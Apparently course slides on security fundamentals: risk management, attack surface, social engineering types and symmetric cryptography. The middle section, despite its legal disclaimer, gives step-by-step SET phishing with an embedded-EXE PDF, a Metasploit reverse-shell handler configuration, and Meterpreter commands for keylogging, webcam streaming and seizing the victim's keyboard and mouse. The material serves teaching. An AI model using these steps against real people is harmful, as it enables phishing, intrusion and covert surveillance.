Risk Fundamentals
Risk Definition (ISO 31000)
"The effect of uncertainty on objectives"
- All activity is subject to some degree of risk
- We cannot eliminate risk entirely
- Goal is to reduce risk to acceptable levels
Risk Calculation Formula
Likelihood × Impact × Vulnerability
OR
Threat + Vulnerability
Vulnerability
Weakness in an asset
Threat
Actor/event that could exploit vulnerability
Risk Management
Gap Analysis
The difference between:
- Current security posture
- Desired security posture
Risk Registers
- Risk description
- Severity rating
- Risk owner
- Mitigation strategies
- Often uses heat maps
Residual Risk
- Risk remaining after controls
- Cannot be fully eliminated
- Risk Appetite varies by organization
- May have formal risk appetite statement
Attack Surface & Threat Vectors
Attack Surface Lenses
Physical
Building access, movement controls
Logical
Exposed IPs, ports, network access
Human
Employee discoverability, vulnerability
Threat Vectors
- Vulnerable software components
- Insecure network protocols
- Insecure supply chain elements
- Humans vulnerable to coercion
- Requires both vulnerability and exploit mechanism
Social Engineering
Human Vulnerabilities
Empathy
Fear
Fitting In
Kindness
Respect for Authority
Helpfulness
Social Engineering Types - 1
- Phishing: Fraudulent emails appearing legitimate
- Pharming: DNS abuse to redirect to fake sites
- Vishing: Phone-based manipulation
- Smishing: SMS/text message scams
Social Engineering Types - 2
- Typosquatting: Fake domains similar to real ones
- Business Email Compromise: Compromised trusted accounts
- Watering Hole: Compromising frequently visited sites
- Deep Fakes: Synthetic media for deception
Social Engineering Toolkit (SET) Exercise
Legal & Ethical Disclaimer
- SET should only be used on systems you own or have explicit permission to test
- Unauthorized use for phishing or exploitation is illegal
- Always obtain written permission before security testing
- This content is for educational purposes only
SET Mass Email Campaign
- Launch SET: setoolkit
- Select "Social-Engineering Attacks" (1)
- Choose "Mass Mailer Attack" (4)
- Select "E-Mail Attack Single Email Address" (1)
- Input target email addresses (or use a list)
- Choose "PDF with Embedded EXE" (3)
- Configure payload with Metasploit (see below)
Metasploit & Reverse Shells
Metasploit: A penetration testing framework that automates exploit development and payload delivery.
Reverse Shell: A connection initiated from the victim machine back to the attacker, bypassing firewalls that block incoming connections.
# Metasploit handler setup for SET payload
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [your_ip]
set LPORT 443
exploit
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [your_ip]
set LPORT 443
exploit
Meterpreter Advanced Functions
Keylogging
keyscan_start
keyscan_dump
Captures keystrokes from the victim machine
Webcam
webcam_stream
Streams live video from victim's webcam
Desktop Control
screenshare
View victim's desktop in real-time
UI Control
uictl enable keyboard/mouse
Take control of input devices
Cryptography Fundamentals
Cryptographic Components
- Cipher: Algorithm for encryption/decryption
- Key: Secret value that controls cipher operations
- Plaintext: Original readable message
- Ciphertext: Encrypted message
Types of Cryptography
- Symmetric: Single shared key
- Asymmetric: Public/private key pairs
- Hashing: One-way transformations
Symmetric Encryption
Alice → [Plaintext + Cipher + Key] → Ciphertext → Bob
Bob → [Ciphertext + Same Key] → Plaintext
- Fast and efficient for devices
- Uses smaller keys than asymmetric
- Suffers from key distribution problem
- Example: AES (Advanced Encryption Standard)